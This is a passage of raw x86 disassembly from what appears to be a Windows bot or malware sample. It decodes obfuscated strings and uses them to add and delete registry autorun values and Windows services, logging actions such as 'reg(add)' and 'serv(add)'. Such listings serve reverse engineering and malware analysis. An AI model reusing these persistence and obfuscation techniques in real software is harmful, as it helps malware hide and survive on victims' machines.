		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_40142E
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		mov	ebp, dword_51175C
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2960000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2910000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2960000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2910000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2960000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2910000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2960000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2910000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2960000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2910000h
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E2F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E870	proc near		; CODE XREF: sub_401451j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		mov	esi, dword_51175C
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_51176C
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_511740
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E870	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED00	proc near		; CODE XREF: sub_4014A1j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40ED00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 2810000h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_40142E
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_444684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_40142E
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402171
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40ED00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EE40	proc near		; CODE XREF: sub_402171j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40EE40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 29108D6h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EE7F
		xor	al, al
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EE7F:				; CODE XREF: sub_40EE40+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_40142E
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017EE
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_449834
		call	sub_4017EE
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	edi
		call	near ptr 2910C0Ah
		nop
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EF65
		nop
		call	near ptr 27E0840h
		cmp	eax, 431h
		jnz	short loc_40EF49
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401951
		mov	esi, dword_511754
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_4014A1
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF49:				; CODE XREF: sub_40EE40+CBj
		push	edi
		nop
		call	near ptr 2920000h
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF65:				; CODE XREF: sub_40EE40+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 2920261h
		test	eax, eax
		push	esi
		mov	esi, dword_511754
		jnz	short loc_40EFBC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EFBC:				; CODE XREF: sub_40EE40+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EFD0:				; CODE XREF: sub_40EE40+3Aj
					; sub_40EE40+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40EE40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F060	proc near		; CODE XREF: sub_401951j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 29108D6h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F087
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F087:				; CODE XREF: sub_40F060+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28C0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0B4
		push	edi
		call	near ptr 2920000h
		nop
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F0B4:				; CODE XREF: sub_40F060+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		call	near ptr 2910485h
		nop
		push	esi
		nop
		call	near ptr 29106DDh
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40F060	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F100	proc near		; CODE XREF: sub_401FD2j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 29108D6h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F11F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F11F:				; CODE XREF: sub_40F100+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	esi
		call	near ptr 28C0000h
		nop
		test	eax, eax
		jnz	short loc_40F146
		push	esi
		call	near ptr 2920000h
		nop
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F146:				; CODE XREF: sub_40F100+37j
		push	edi
		mov	edi, dword_511754
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F100	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F180	proc near		; CODE XREF: sub_401FFAj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 29108D6h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F1A1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1A1:				; CODE XREF: sub_40F180+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		call	near ptr 28C0000h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F1CB
		push	edi
		call	near ptr 2920000h
		nop
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1CB:				; CODE XREF: sub_40F180+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 2901CDFh
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F180	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F210:				; CODE XREF: ___:loc_4014ABj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43A348
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F30A
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401730
		test	al, al
		jz	short loc_40F2D6
		lea	ecx, [esp+0Ch]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017EE
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_40F2D6:				; CODE XREF: ___:0040F297j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F30A:				; CODE XREF: ___:0040F246j
		lea	ecx, [edi+47h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3A9
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401451
		test	al, al
		jz	short loc_40F382
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F382:				; CODE XREF: ___:0040F34Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3A9:				; CODE XREF: ___:0040F31Cj
		lea	ecx, [edi+75h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F4BF
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402171
		test	al, al
		jz	short loc_40F47D
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017EE
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h


loc_40F47D:				; CODE XREF: ___:0040F434j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F4BF:				; CODE XREF: ___:0040F3BBj
		lea	ecx, [edi+0A3h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F561
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401951
		test	al, al
		jz	short loc_40F53A
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
